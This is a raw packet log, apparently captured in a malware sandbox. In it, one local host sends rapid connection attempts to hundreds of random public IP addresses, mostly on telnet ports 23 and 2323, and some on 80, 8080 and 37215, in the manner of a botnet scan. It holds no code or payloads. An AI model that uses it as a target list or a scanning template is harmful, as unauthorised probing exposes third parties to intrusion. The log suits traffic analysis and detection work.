Feb 19, 2025 19:48:58.007632017 CET	9989	23	192.168.2.15	198.213.244.216
Feb 19, 2025 19:48:58.007649899 CET	9989	23	192.168.2.15	71.231.252.61
Feb 19, 2025 19:48:58.007653952 CET	9989	23	192.168.2.15	201.176.120.188
Feb 19, 2025 19:48:58.007657051 CET	9989	23	192.168.2.15	163.56.254.121
Feb 19, 2025 19:48:58.007663965 CET	9989	23	192.168.2.15	116.196.186.34
Feb 19, 2025 19:48:58.007674932 CET	9989	23	192.168.2.15	177.202.95.89
Feb 19, 2025 19:48:58.007680893 CET	9989	23	192.168.2.15	223.71.174.117
Feb 19, 2025 19:48:58.007692099 CET	9989	23	192.168.2.15	107.242.14.209
Feb 19, 2025 19:48:58.007693052 CET	9989	23	192.168.2.15	112.21.84.28
Feb 19, 2025 19:48:58.007704973 CET	9989	23	192.168.2.15	143.211.12.25
Feb 19, 2025 19:48:58.007705927 CET	9989	2323	192.168.2.15	134.71.136.167
Feb 19, 2025 19:48:58.007720947 CET	9989	23	192.168.2.15	197.93.164.190
Feb 19, 2025 19:48:58.007724047 CET	9989	23	192.168.2.15	92.253.73.54
Feb 19, 2025 19:48:58.007730961 CET	9989	23	192.168.2.15	79.81.17.172
Feb 19, 2025 19:48:58.007730961 CET	9989	23	192.168.2.15	27.248.139.205
Feb 19, 2025 19:48:58.007741928 CET	9989	23	192.168.2.15	174.85.64.127
Feb 19, 2025 19:48:58.007761955 CET	9989	23	192.168.2.15	72.136.126.113
Feb 19, 2025 19:48:58.007764101 CET	9989	23	192.168.2.15	210.79.4.0
Feb 19, 2025 19:48:58.007765055 CET	9989	23	192.168.2.15	188.203.163.97
Feb 19, 2025 19:48:58.007782936 CET	9989	23	192.168.2.15	50.16.180.141
Feb 19, 2025 19:48:58.007786036 CET	9989	23	192.168.2.15	139.156.70.199
Feb 19, 2025 19:48:58.007786036 CET	9989	23	192.168.2.15	170.237.121.32
Feb 19, 2025 19:48:58.007786036 CET	9989	23	192.168.2.15	83.209.97.174
Feb 19, 2025 19:48:58.007790089 CET	9989	23	192.168.2.15	126.114.203.62
Feb 19, 2025 19:48:58.007790089 CET	9989	23	192.168.2.15	116.163.152.156
Feb 19, 2025 19:48:58.007790089 CET	9989	23	192.168.2.15	194.145.47.70
Feb 19, 2025 19:48:58.007792950 CET	9989	2323	192.168.2.15	71.31.170.137
Feb 19, 2025 19:48:58.007798910 CET	9989	2323	192.168.2.15	95.53.44.138
Feb 19, 2025 19:48:58.007798910 CET	9989	23	192.168.2.15	218.109.52.173
Feb 19, 2025 19:48:58.007798910 CET	9989	23	192.168.2.15	138.245.40.12
Feb 19, 2025 19:48:58.007807970 CET	9989	23	192.168.2.15	18.225.171.7
Feb 19, 2025 19:48:58.007822990 CET	9989	23	192.168.2.15	172.8.143.93
Feb 19, 2025 19:48:58.007823944 CET	9989	23	192.168.2.15	63.59.139.67
Feb 19, 2025 19:48:58.007823944 CET	9989	23	192.168.2.15	17.60.38.224
Feb 19, 2025 19:48:58.007823944 CET	9989	23	192.168.2.15	167.206.50.151
Feb 19, 2025 19:48:58.007838011 CET	9989	23	192.168.2.15	48.190.75.201
Feb 19, 2025 19:48:58.007843971 CET	9989	23	192.168.2.15	115.135.121.155
Feb 19, 2025 19:48:58.007853985 CET	9989	23	192.168.2.15	102.79.1.127
Feb 19, 2025 19:48:58.007860899 CET	9989	23	192.168.2.15	184.193.149.49
Feb 19, 2025 19:48:58.007864952 CET	9989	2323	192.168.2.15	163.25.197.235
Feb 19, 2025 19:48:58.007879972 CET	9989	23	192.168.2.15	44.246.95.151
Feb 19, 2025 19:48:58.007884026 CET	9989	23	192.168.2.15	37.82.142.128
Feb 19, 2025 19:48:58.007884026 CET	9989	23	192.168.2.15	199.246.185.165
Feb 19, 2025 19:48:58.007884026 CET	9989	23	192.168.2.15	153.158.90.102
Feb 19, 2025 19:48:58.007885933 CET	9989	23	192.168.2.15	143.91.204.26
Feb 19, 2025 19:48:58.007893085 CET	9989	23	192.168.2.15	123.22.52.47
Feb 19, 2025 19:48:58.007894993 CET	9989	23	192.168.2.15	61.50.151.198
Feb 19, 2025 19:48:58.007894993 CET	9989	23	192.168.2.15	118.148.233.94
Feb 19, 2025 19:48:58.007900953 CET	9989	23	192.168.2.15	9.251.176.255
Feb 19, 2025 19:48:58.007905006 CET	9989	2323	192.168.2.15	36.60.159.46
Feb 19, 2025 19:48:58.007915020 CET	9989	23	192.168.2.15	119.143.213.12
Feb 19, 2025 19:48:58.007919073 CET	9989	23	192.168.2.15	165.209.221.242
Feb 19, 2025 19:48:58.007927895 CET	9989	23	192.168.2.15	62.212.212.144
Feb 19, 2025 19:48:58.007935047 CET	9989	23	192.168.2.15	173.51.122.35
Feb 19, 2025 19:48:58.007936001 CET	9989	23	192.168.2.15	170.28.163.67
Feb 19, 2025 19:48:58.007944107 CET	9989	23	192.168.2.15	84.112.137.90
Feb 19, 2025 19:48:58.007947922 CET	9989	23	192.168.2.15	83.202.26.142
Feb 19, 2025 19:48:58.007963896 CET	9989	23	192.168.2.15	162.171.64.253
Feb 19, 2025 19:48:58.007970095 CET	9989	23	192.168.2.15	54.165.16.150
Feb 19, 2025 19:48:58.007972002 CET	9989	23	192.168.2.15	54.229.11.250
Feb 19, 2025 19:48:58.007973909 CET	9989	23	192.168.2.15	39.242.213.187
Feb 19, 2025 19:48:58.007985115 CET	9989	23	192.168.2.15	183.210.237.78
Feb 19, 2025 19:48:58.007986069 CET	9989	23	192.168.2.15	38.46.145.162
Feb 19, 2025 19:48:58.007986069 CET	9989	23	192.168.2.15	75.145.79.226
Feb 19, 2025 19:48:58.007986069 CET	9989	2323	192.168.2.15	189.166.242.58
Feb 19, 2025 19:48:58.007987022 CET	9989	23	192.168.2.15	137.190.180.222
Feb 19, 2025 19:48:58.007989883 CET	9989	23	192.168.2.15	124.26.112.108
Feb 19, 2025 19:48:58.008017063 CET	9989	23	192.168.2.15	63.230.101.235
Feb 19, 2025 19:48:58.008017063 CET	9989	23	192.168.2.15	19.167.237.54
Feb 19, 2025 19:48:58.008017063 CET	9989	23	192.168.2.15	66.115.171.253
Feb 19, 2025 19:48:58.008017063 CET	9989	23	192.168.2.15	197.56.8.181
Feb 19, 2025 19:48:58.008018970 CET	9989	23	192.168.2.15	31.63.24.26
Feb 19, 2025 19:48:58.008018970 CET	9989	23	192.168.2.15	126.134.147.131
Feb 19, 2025 19:48:58.008018970 CET	9989	23	192.168.2.15	142.175.127.183
Feb 19, 2025 19:48:58.008019924 CET	9989	23	192.168.2.15	70.133.119.237
Feb 19, 2025 19:48:58.008019924 CET	9989	23	192.168.2.15	181.55.7.206
Feb 19, 2025 19:48:58.008019924 CET	9989	23	192.168.2.15	203.88.46.171
Feb 19, 2025 19:48:58.008033037 CET	9989	23	192.168.2.15	132.190.53.155
Feb 19, 2025 19:48:58.008033991 CET	9989	23	192.168.2.15	168.188.58.4
Feb 19, 2025 19:48:58.008039951 CET	9989	23	192.168.2.15	59.59.60.5
Feb 19, 2025 19:48:58.008043051 CET	9989	23	192.168.2.15	125.16.237.10
Feb 19, 2025 19:48:58.008043051 CET	9989	2323	192.168.2.15	40.55.30.194
Feb 19, 2025 19:48:58.008043051 CET	9989	2323	192.168.2.15	12.224.235.214
Feb 19, 2025 19:48:58.008053064 CET	9989	23	192.168.2.15	44.91.138.159
Feb 19, 2025 19:48:58.008061886 CET	9989	23	192.168.2.15	219.58.234.63
Feb 19, 2025 19:48:58.008061886 CET	9989	23	192.168.2.15	58.118.192.179
Feb 19, 2025 19:48:58.008080006 CET	9989	23	192.168.2.15	49.173.176.196
Feb 19, 2025 19:48:58.008081913 CET	9989	23	192.168.2.15	210.147.38.39
Feb 19, 2025 19:48:58.008085966 CET	9989	23	192.168.2.15	88.216.246.86
Feb 19, 2025 19:48:58.008093119 CET	9989	23	192.168.2.15	223.68.159.209
Feb 19, 2025 19:48:58.008093119 CET	9989	23	192.168.2.15	53.182.83.46
Feb 19, 2025 19:48:58.008093119 CET	9989	23	192.168.2.15	203.182.170.130
Feb 19, 2025 19:48:58.008094072 CET	9989	23	192.168.2.15	125.47.133.66
Feb 19, 2025 19:48:58.008096933 CET	9989	23	192.168.2.15	143.23.81.195
Feb 19, 2025 19:48:58.008100033 CET	9989	23	192.168.2.15	132.188.26.39
Feb 19, 2025 19:48:58.008100033 CET	9989	2323	192.168.2.15	163.14.244.81
Feb 19, 2025 19:48:58.008100033 CET	9989	23	192.168.2.15	139.231.252.201
Feb 19, 2025 19:48:58.008100033 CET	9989	23	192.168.2.15	129.150.217.193
Feb 19, 2025 19:48:58.008105993 CET	9989	23	192.168.2.15	183.92.36.195
Feb 19, 2025 19:48:58.008119106 CET	9989	2323	192.168.2.15	79.46.28.1
Feb 19, 2025 19:48:58.008136988 CET	9989	23	192.168.2.15	176.132.197.205
Feb 19, 2025 19:48:58.008136988 CET	9989	23	192.168.2.15	157.165.106.118
Feb 19, 2025 19:48:58.008141994 CET	9989	23	192.168.2.15	116.194.94.45
Feb 19, 2025 19:48:58.008141994 CET	9989	23	192.168.2.15	200.255.180.228
Feb 19, 2025 19:48:58.008145094 CET	9989	23	192.168.2.15	97.11.161.239
Feb 19, 2025 19:48:58.008146048 CET	9989	23	192.168.2.15	18.54.36.192
Feb 19, 2025 19:48:58.008146048 CET	9989	23	192.168.2.15	208.156.12.6
Feb 19, 2025 19:48:58.008146048 CET	9989	23	192.168.2.15	191.117.39.178
Feb 19, 2025 19:48:58.008152962 CET	9989	23	192.168.2.15	103.18.172.188
Feb 19, 2025 19:48:58.008153915 CET	9989	23	192.168.2.15	195.220.98.87
Feb 19, 2025 19:48:58.008153915 CET	9989	2323	192.168.2.15	150.108.103.126
Feb 19, 2025 19:48:58.008157015 CET	9989	23	192.168.2.15	1.104.241.91
Feb 19, 2025 19:48:58.008157015 CET	9989	23	192.168.2.15	42.187.0.95
Feb 19, 2025 19:48:58.008172035 CET	9989	23	192.168.2.15	104.99.102.242
Feb 19, 2025 19:48:58.008172989 CET	9989	23	192.168.2.15	202.190.221.44
Feb 19, 2025 19:48:58.008179903 CET	9989	23	192.168.2.15	137.140.231.27
Feb 19, 2025 19:48:58.008183956 CET	9989	23	192.168.2.15	9.94.217.249
Feb 19, 2025 19:48:58.008197069 CET	9989	23	192.168.2.15	184.110.59.93
Feb 19, 2025 19:48:58.008210897 CET	9989	23	192.168.2.15	208.191.131.186
Feb 19, 2025 19:48:58.008213043 CET	9989	2323	192.168.2.15	117.213.237.88
Feb 19, 2025 19:48:58.008219957 CET	9989	23	192.168.2.15	96.181.225.198
Feb 19, 2025 19:48:58.008222103 CET	9989	23	192.168.2.15	61.82.212.7
Feb 19, 2025 19:48:58.008235931 CET	9989	23	192.168.2.15	162.166.243.106
Feb 19, 2025 19:48:58.008992910 CET	35204	23	192.168.2.15	68.212.59.200
Feb 19, 2025 19:48:58.010765076 CET	34230	23	192.168.2.15	42.81.107.165
Feb 19, 2025 19:48:58.011769056 CET	23	9989	202.234.83.6	192.168.2.15
Feb 19, 2025 19:48:58.011780024 CET	23	9989	47.201.226.19	192.168.2.15
Feb 19, 2025 19:48:58.011789083 CET	23	9989	113.133.168.160	192.168.2.15
Feb 19, 2025 19:48:58.011816978 CET	9989	23	192.168.2.15	202.234.83.6
Feb 19, 2025 19:48:58.011822939 CET	9989	23	192.168.2.15	47.201.226.19
Feb 19, 2025 19:48:58.011837959 CET	9989	23	192.168.2.15	113.133.168.160
Feb 19, 2025 19:48:58.011852980 CET	23	9989	54.188.229.117	192.168.2.15
Feb 19, 2025 19:48:58.011863947 CET	23	9989	219.51.175.45	192.168.2.15
Feb 19, 2025 19:48:58.011872053 CET	2323	9989	222.221.72.196	192.168.2.15
Feb 19, 2025 19:48:58.011903048 CET	9989	23	192.168.2.15	54.188.229.117
Feb 19, 2025 19:48:58.011903048 CET	9989	23	192.168.2.15	219.51.175.45
Feb 19, 2025 19:48:58.011905909 CET	9989	2323	192.168.2.15	222.221.72.196
Feb 19, 2025 19:48:58.011934996 CET	36260	23	192.168.2.15	89.131.193.40
Feb 19, 2025 19:48:58.011940956 CET	23	9989	206.245.21.164	192.168.2.15
Feb 19, 2025 19:48:58.011950970 CET	23	9989	60.147.179.99	192.168.2.15
Feb 19, 2025 19:48:58.011960983 CET	23	9989	84.180.144.175	192.168.2.15
Feb 19, 2025 19:48:58.011970997 CET	23	9989	115.218.166.45	192.168.2.15
Feb 19, 2025 19:48:58.011975050 CET	23	9989	51.217.249.115	192.168.2.15
Feb 19, 2025 19:48:58.011979103 CET	23	9989	52.246.79.42	192.168.2.15
Feb 19, 2025 19:48:58.011980057 CET	9989	23	192.168.2.15	206.245.21.164
Feb 19, 2025 19:48:58.011991978 CET	9989	23	192.168.2.15	60.147.179.99
Feb 19, 2025 19:48:58.012034893 CET	9989	23	192.168.2.15	115.218.166.45
Feb 19, 2025 19:48:58.012037039 CET	9989	23	192.168.2.15	84.180.144.175
Feb 19, 2025 19:48:58.012037039 CET	9989	23	192.168.2.15	52.246.79.42
Feb 19, 2025 19:48:58.012063026 CET	9989	23	192.168.2.15	51.217.249.115
Feb 19, 2025 19:48:58.012660027 CET	43254	23	192.168.2.15	25.19.54.104
Feb 19, 2025 19:48:58.012706995 CET	2323	9989	190.175.134.191	192.168.2.15
Feb 19, 2025 19:48:58.012717962 CET	23	9989	192.172.81.135	192.168.2.15
Feb 19, 2025 19:48:58.012727022 CET	23	9989	169.123.234.145	192.168.2.15
Feb 19, 2025 19:48:58.012737036 CET	23	9989	139.179.5.31	192.168.2.15
Feb 19, 2025 19:48:58.012748003 CET	23	9989	109.76.112.87	192.168.2.15
Feb 19, 2025 19:48:58.012758017 CET	23	9989	221.205.29.76	192.168.2.15
Feb 19, 2025 19:48:58.012768030 CET	23	9989	40.19.60.249	192.168.2.15
Feb 19, 2025 19:48:58.012768030 CET	9989	23	192.168.2.15	169.123.234.145
Feb 19, 2025 19:48:58.012768030 CET	9989	23	192.168.2.15	139.179.5.31
Feb 19, 2025 19:48:58.012779951 CET	9989	23	192.168.2.15	109.76.112.87
Feb 19, 2025 19:48:58.012785912 CET	2323	9989	216.54.16.159	192.168.2.15
Feb 19, 2025 19:48:58.012789011 CET	9989	2323	192.168.2.15	190.175.134.191
Feb 19, 2025 19:48:58.012789011 CET	9989	23	192.168.2.15	192.172.81.135
Feb 19, 2025 19:48:58.012794018 CET	9989	23	192.168.2.15	221.205.29.76
Feb 19, 2025 19:48:58.012794018 CET	9989	23	192.168.2.15	40.19.60.249
Feb 19, 2025 19:48:58.012798071 CET	23	9989	146.252.207.29	192.168.2.15
Feb 19, 2025 19:48:58.012809992 CET	23	9989	218.251.78.81	192.168.2.15
Feb 19, 2025 19:48:58.012819052 CET	23	9989	162.176.134.11	192.168.2.15
Feb 19, 2025 19:48:58.012826920 CET	9989	2323	192.168.2.15	216.54.16.159
Feb 19, 2025 19:48:58.012829065 CET	23	9989	97.42.111.197	192.168.2.15
Feb 19, 2025 19:48:58.012835979 CET	9989	23	192.168.2.15	146.252.207.29
Feb 19, 2025 19:48:58.012839079 CET	23	9989	152.2.62.8	192.168.2.15
Feb 19, 2025 19:48:58.012841940 CET	9989	23	192.168.2.15	218.251.78.81
Feb 19, 2025 19:48:58.012856960 CET	23	9989	203.42.223.131	192.168.2.15
Feb 19, 2025 19:48:58.012860060 CET	9989	23	192.168.2.15	162.176.134.11
Feb 19, 2025 19:48:58.012860060 CET	9989	23	192.168.2.15	97.42.111.197
Feb 19, 2025 19:48:58.012866974 CET	23	9989	66.36.132.228	192.168.2.15
Feb 19, 2025 19:48:58.012876987 CET	23	9989	114.155.78.188	192.168.2.15
Feb 19, 2025 19:48:58.012886047 CET	2323	9989	209.168.246.219	192.168.2.15
Feb 19, 2025 19:48:58.012887955 CET	9989	23	192.168.2.15	203.42.223.131
Feb 19, 2025 19:48:58.012896061 CET	23	9989	137.94.55.0	192.168.2.15
Feb 19, 2025 19:48:58.012903929 CET	9989	23	192.168.2.15	114.155.78.188
Feb 19, 2025 19:48:58.012904882 CET	23	9989	93.237.124.139	192.168.2.15
Feb 19, 2025 19:48:58.012904882 CET	9989	23	192.168.2.15	66.36.132.228
Feb 19, 2025 19:48:58.012917995 CET	9989	2323	192.168.2.15	209.168.246.219
Feb 19, 2025 19:48:58.012921095 CET	9989	23	192.168.2.15	137.94.55.0
Feb 19, 2025 19:48:58.012923956 CET	9989	23	192.168.2.15	152.2.62.8
Feb 19, 2025 19:48:58.012945890 CET	9989	23	192.168.2.15	93.237.124.139
Feb 19, 2025 19:48:58.012952089 CET	23	9989	89.30.160.68	192.168.2.15
Feb 19, 2025 19:48:58.012964010 CET	23	9989	142.210.26.65	192.168.2.15
Feb 19, 2025 19:48:58.012973070 CET	23	9989	25.243.188.255	192.168.2.15
Feb 19, 2025 19:48:58.012983084 CET	23	9989	195.196.71.227	192.168.2.15
Feb 19, 2025 19:48:58.012989998 CET	9989	23	192.168.2.15	89.30.160.68
Feb 19, 2025 19:48:58.012993097 CET	23	9989	122.202.72.18	192.168.2.15
Feb 19, 2025 19:48:58.013000011 CET	9989	23	192.168.2.15	142.210.26.65
Feb 19, 2025 19:48:58.013004065 CET	23	9989	25.219.40.250	192.168.2.15
Feb 19, 2025 19:48:58.013008118 CET	9989	23	192.168.2.15	25.243.188.255
Feb 19, 2025 19:48:58.013015985 CET	23	9989	193.180.99.134	192.168.2.15
Feb 19, 2025 19:48:58.013020992 CET	9989	23	192.168.2.15	195.196.71.227
Feb 19, 2025 19:48:58.013020992 CET	9989	23	192.168.2.15	122.202.72.18
Feb 19, 2025 19:48:58.013025999 CET	2323	9989	201.225.139.194	192.168.2.15
Feb 19, 2025 19:48:58.013032913 CET	9989	23	192.168.2.15	25.219.40.250
Feb 19, 2025 19:48:58.013036966 CET	23	9989	185.85.45.58	192.168.2.15
Feb 19, 2025 19:48:58.013057947 CET	9989	2323	192.168.2.15	201.225.139.194
Feb 19, 2025 19:48:58.013200045 CET	9989	23	192.168.2.15	193.180.99.134
Feb 19, 2025 19:48:58.013200045 CET	9989	23	192.168.2.15	185.85.45.58
Feb 19, 2025 19:48:58.013578892 CET	23	9989	104.235.203.242	192.168.2.15
Feb 19, 2025 19:48:58.013588905 CET	23	9989	104.34.162.126	192.168.2.15
Feb 19, 2025 19:48:58.013617039 CET	9989	23	192.168.2.15	104.235.203.242
Feb 19, 2025 19:48:58.013627052 CET	23	9989	161.103.13.222	192.168.2.15
Feb 19, 2025 19:48:58.013636112 CET	9989	23	192.168.2.15	104.34.162.126
Feb 19, 2025 19:48:58.013637066 CET	23	9989	37.183.205.122	192.168.2.15
Feb 19, 2025 19:48:58.013645887 CET	54666	23	192.168.2.15	8.27.2.96
Feb 19, 2025 19:48:58.013648033 CET	23	9989	47.205.95.153	192.168.2.15
Feb 19, 2025 19:48:58.013657093 CET	23	9989	139.223.44.179	192.168.2.15
Feb 19, 2025 19:48:58.013664007 CET	9989	23	192.168.2.15	161.103.13.222
Feb 19, 2025 19:48:58.013665915 CET	9989	23	192.168.2.15	37.183.205.122
Feb 19, 2025 19:48:58.013667107 CET	23	9989	220.174.208.63	192.168.2.15
Feb 19, 2025 19:48:58.013679981 CET	23	9989	75.95.58.212	192.168.2.15
Feb 19, 2025 19:48:58.013690948 CET	9989	23	192.168.2.15	139.223.44.179
Feb 19, 2025 19:48:58.013696909 CET	23	9989	219.23.172.218	192.168.2.15
Feb 19, 2025 19:48:58.013701916 CET	9989	23	192.168.2.15	220.174.208.63
Feb 19, 2025 19:48:58.013708115 CET	23	9989	223.26.45.236	192.168.2.15
Feb 19, 2025 19:48:58.013709068 CET	9989	23	192.168.2.15	75.95.58.212
Feb 19, 2025 19:48:58.013714075 CET	9989	23	192.168.2.15	47.205.95.153
Feb 19, 2025 19:48:58.013717890 CET	2323	9989	90.40.211.245	192.168.2.15
Feb 19, 2025 19:48:58.013727903 CET	23	9989	24.205.195.197	192.168.2.15
Feb 19, 2025 19:48:58.013740063 CET	9989	23	192.168.2.15	219.23.172.218
Feb 19, 2025 19:48:58.013751030 CET	9989	23	192.168.2.15	223.26.45.236
Feb 19, 2025 19:48:58.013761044 CET	9989	2323	192.168.2.15	90.40.211.245
Feb 19, 2025 19:48:58.013766050 CET	9989	23	192.168.2.15	24.205.195.197
Feb 19, 2025 19:48:58.013787985 CET	23	9989	34.56.252.48	192.168.2.15
Feb 19, 2025 19:48:58.013797998 CET	23	9989	27.245.58.191	192.168.2.15
Feb 19, 2025 19:48:58.013807058 CET	23	9989	80.111.128.195	192.168.2.15
Feb 19, 2025 19:48:58.013817072 CET	23	9989	151.234.163.6	192.168.2.15
Feb 19, 2025 19:48:58.013823032 CET	9989	23	192.168.2.15	34.56.252.48
Feb 19, 2025 19:48:58.013825893 CET	23	9989	136.206.40.189	192.168.2.15
Feb 19, 2025 19:48:58.013834953 CET	9989	23	192.168.2.15	27.245.58.191
Feb 19, 2025 19:48:58.013835907 CET	23	9989	183.106.62.42	192.168.2.15
Feb 19, 2025 19:48:58.013845921 CET	23	9989	20.228.80.47	192.168.2.15
Feb 19, 2025 19:48:58.013854980 CET	23	9989	49.254.102.127	192.168.2.15
Feb 19, 2025 19:48:58.013859987 CET	9989	23	192.168.2.15	80.111.128.195
Feb 19, 2025 19:48:58.013865948 CET	9989	23	192.168.2.15	151.234.163.6
Feb 19, 2025 19:48:58.013866901 CET	9989	23	192.168.2.15	136.206.40.189
Feb 19, 2025 19:48:58.013880968 CET	9989	23	192.168.2.15	49.254.102.127
Feb 19, 2025 19:48:58.013905048 CET	9989	23	192.168.2.15	183.106.62.42
Feb 19, 2025 19:48:58.013905048 CET	9989	23	192.168.2.15	20.228.80.47
Feb 19, 2025 19:48:58.014427900 CET	38326	23	192.168.2.15	52.137.11.67
Feb 19, 2025 19:48:58.015115023 CET	37508	23	192.168.2.15	93.22.219.112
Feb 19, 2025 19:48:58.015815973 CET	49344	23	192.168.2.15	111.82.225.230
Feb 19, 2025 19:48:58.016520977 CET	47464	23	192.168.2.15	125.131.249.221
Feb 19, 2025 19:48:58.016520977 CET	35168	23	192.168.2.15	64.90.42.131
Feb 19, 2025 19:48:58.016525030 CET	58970	23	192.168.2.15	204.47.164.17
Feb 19, 2025 19:48:58.016525030 CET	39782	2323	192.168.2.15	168.193.193.213
Feb 19, 2025 19:48:58.016537905 CET	35114	23	192.168.2.15	202.27.72.193
Feb 19, 2025 19:48:58.016537905 CET	54446	80	192.168.2.15	88.32.226.221
Feb 19, 2025 19:48:58.016695023 CET	52950	23	192.168.2.15	44.136.77.32
Feb 19, 2025 19:48:58.017534018 CET	36370	2323	192.168.2.15	77.130.210.19
Feb 19, 2025 19:48:58.018476963 CET	35112	23	192.168.2.15	138.32.123.65
Feb 19, 2025 19:48:58.020042896 CET	44672	23	192.168.2.15	165.186.36.145
Feb 19, 2025 19:48:58.020807028 CET	23	49344	111.82.225.230	192.168.2.15
Feb 19, 2025 19:48:58.020859003 CET	49344	23	192.168.2.15	111.82.225.230
Feb 19, 2025 19:48:58.020939112 CET	33646	23	192.168.2.15	191.162.86.236
Feb 19, 2025 19:48:58.021800995 CET	37742	23	192.168.2.15	154.135.216.1
Feb 19, 2025 19:48:58.024192095 CET	41962	23	192.168.2.15	48.164.150.49
Feb 19, 2025 19:48:58.025681019 CET	43290	23	192.168.2.15	111.195.41.24
Feb 19, 2025 19:48:58.027333975 CET	37840	23	192.168.2.15	118.233.72.89
Feb 19, 2025 19:48:58.029465914 CET	55486	23	192.168.2.15	202.207.234.5
Feb 19, 2025 19:48:58.031116962 CET	41682	23	192.168.2.15	108.238.103.118
Feb 19, 2025 19:48:58.032290936 CET	23	37840	118.233.72.89	192.168.2.15
Feb 19, 2025 19:48:58.032411098 CET	37840	23	192.168.2.15	118.233.72.89
Feb 19, 2025 19:48:58.032788038 CET	50006	23	192.168.2.15	117.88.119.91
Feb 19, 2025 19:48:58.033828020 CET	36762	23	192.168.2.15	87.219.250.185
Feb 19, 2025 19:48:58.034836054 CET	60176	23	192.168.2.15	187.118.199.85
Feb 19, 2025 19:48:58.035649061 CET	45186	23	192.168.2.15	78.135.96.148
Feb 19, 2025 19:48:58.036674976 CET	48220	2323	192.168.2.15	163.191.202.183
Feb 19, 2025 19:48:58.037825108 CET	56250	23	192.168.2.15	58.120.71.179
Feb 19, 2025 19:48:58.038799047 CET	42608	23	192.168.2.15	192.189.135.33
Feb 19, 2025 19:48:58.040009975 CET	33182	23	192.168.2.15	116.188.137.119
Feb 19, 2025 19:48:58.040666103 CET	23	45186	78.135.96.148	192.168.2.15
Feb 19, 2025 19:48:58.040836096 CET	45186	23	192.168.2.15	78.135.96.148
Feb 19, 2025 19:48:58.041702986 CET	51820	23	192.168.2.15	181.5.236.189
Feb 19, 2025 19:48:58.042929888 CET	39358	23	192.168.2.15	79.225.35.42
Feb 19, 2025 19:48:58.043982029 CET	36710	2323	192.168.2.15	206.14.155.255
Feb 19, 2025 19:48:58.045162916 CET	37204	23	192.168.2.15	49.243.143.204
Feb 19, 2025 19:48:58.046783924 CET	32988	23	192.168.2.15	150.105.233.236
Feb 19, 2025 19:48:58.047808886 CET	52148	23	192.168.2.15	99.90.211.169
Feb 19, 2025 19:48:58.048516035 CET	48408	8080	192.168.2.15	62.0.241.194
Feb 19, 2025 19:48:58.048525095 CET	50656	37215	192.168.2.15	197.216.11.24
Feb 19, 2025 19:48:58.048528910 CET	51706	80	192.168.2.15	88.6.209.151
Feb 19, 2025 19:48:58.048540115 CET	35606	80	192.168.2.15	88.95.211.113
Feb 19, 2025 19:48:58.048934937 CET	55360	23	192.168.2.15	106.123.98.212
Feb 19, 2025 19:48:58.050339937 CET	39786	23	192.168.2.15	204.123.60.215
Feb 19, 2025 19:48:58.051357985 CET	38656	23	192.168.2.15	180.43.35.29
Feb 19, 2025 19:48:58.052526951 CET	51518	23	192.168.2.15	216.114.34.15
Feb 19, 2025 19:48:58.052892923 CET	23	52148	99.90.211.169	192.168.2.15
Feb 19, 2025 19:48:58.052944899 CET	52148	23	192.168.2.15	99.90.211.169
Feb 19, 2025 19:48:58.054173946 CET	42466	23	192.168.2.15	20.33.1.239
Feb 19, 2025 19:48:58.055429935 CET	38740	23	192.168.2.15	88.121.56.89
Feb 19, 2025 19:48:58.056871891 CET	38696	23	192.168.2.15	145.177.112.128
Feb 19, 2025 19:48:58.058077097 CET	43468	23	192.168.2.15	115.63.255.29
Feb 19, 2025 19:48:58.058795929 CET	57624	2323	192.168.2.15	189.151.24.217
Feb 19, 2025 19:48:58.059540033 CET	49464	23	192.168.2.15	178.51.213.169
Feb 19, 2025 19:48:58.060233116 CET	58464	23	192.168.2.15	85.203.2.54
Feb 19, 2025 19:48:58.060409069 CET	23	38740	88.121.56.89	192.168.2.15
Feb 19, 2025 19:48:58.060452938 CET	38740	23	192.168.2.15	88.121.56.89
Feb 19, 2025 19:48:58.061124086 CET	37700	23	192.168.2.15	80.42.121.101
Feb 19, 2025 19:48:58.062844038 CET	34348	23	192.168.2.15	111.11.241.219
Feb 19, 2025 19:48:58.064219952 CET	41284	23	192.168.2.15	165.230.46.17
Feb 19, 2025 19:48:58.065164089 CET	48358	23	192.168.2.15	203.237.170.42
Feb 19, 2025 19:48:58.066227913 CET	45254	23	192.168.2.15	87.43.233.110
Feb 19, 2025 19:48:58.067223072 CET	46014	23	192.168.2.15	76.112.130.152
Feb 19, 2025 19:48:58.068274975 CET	55670	23	192.168.2.15	88.136.80.161
Feb 19, 2025 19:48:58.069745064 CET	39016	2323	192.168.2.15	136.67.6.194
Feb 19, 2025 19:48:58.072613955 CET	51842	23	192.168.2.15	204.200.106.203
Feb 19, 2025 19:48:58.073246956 CET	23	55670	88.136.80.161	192.168.2.15
Feb 19, 2025 19:48:58.073304892 CET	55670	23	192.168.2.15	88.136.80.161
Feb 19, 2025 19:48:58.073609114 CET	58776	2323	192.168.2.15	140.154.60.34
Feb 19, 2025 19:48:58.074637890 CET	40594	23	192.168.2.15	131.159.60.181
Feb 19, 2025 19:48:58.075381041 CET	45144	2323	192.168.2.15	197.180.183.205
Feb 19, 2025 19:48:58.076105118 CET	39724	23	192.168.2.15	138.71.165.50
Feb 19, 2025 19:48:58.080432892 CET	2323	45144	197.180.183.205	192.168.2.15
Feb 19, 2025 19:48:58.080490112 CET	45144	2323	192.168.2.15	197.180.183.205
Feb 19, 2025 19:48:58.093023062 CET	44528	23	192.168.2.15	12.149.28.221
Feb 19, 2025 19:48:58.098015070 CET	23	44528	12.149.28.221	192.168.2.15
Feb 19, 2025 19:48:58.098089933 CET	44528	23	192.168.2.15	12.149.28.221
Feb 19, 2025 19:48:58.112533092 CET	37124	8080	192.168.2.15	62.68.118.99
Feb 19, 2025 19:48:58.112549067 CET	59142	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:58.112550974 CET	38836	80	192.168.2.15	88.34.29.247
Feb 19, 2025 19:48:58.112596989 CET	50626	80	192.168.2.15	88.192.221.252
Feb 19, 2025 19:48:58.112596989 CET	45584	80	192.168.2.15	88.121.203.246
Feb 19, 2025 19:48:58.117573023 CET	8080	37124	62.68.118.99	192.168.2.15
Feb 19, 2025 19:48:58.117585897 CET	80	59142	88.166.4.21	192.168.2.15
Feb 19, 2025 19:48:58.117636919 CET	37124	8080	192.168.2.15	62.68.118.99
Feb 19, 2025 19:48:58.117644072 CET	59142	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:58.117782116 CET	7685	80	192.168.2.15	88.33.118.61
Feb 19, 2025 19:48:58.117806911 CET	7685	80	192.168.2.15	88.51.3.22
Feb 19, 2025 19:48:58.117815971 CET	7685	80	192.168.2.15	88.163.163.59
Feb 19, 2025 19:48:58.117841959 CET	7685	80	192.168.2.15	88.82.83.211
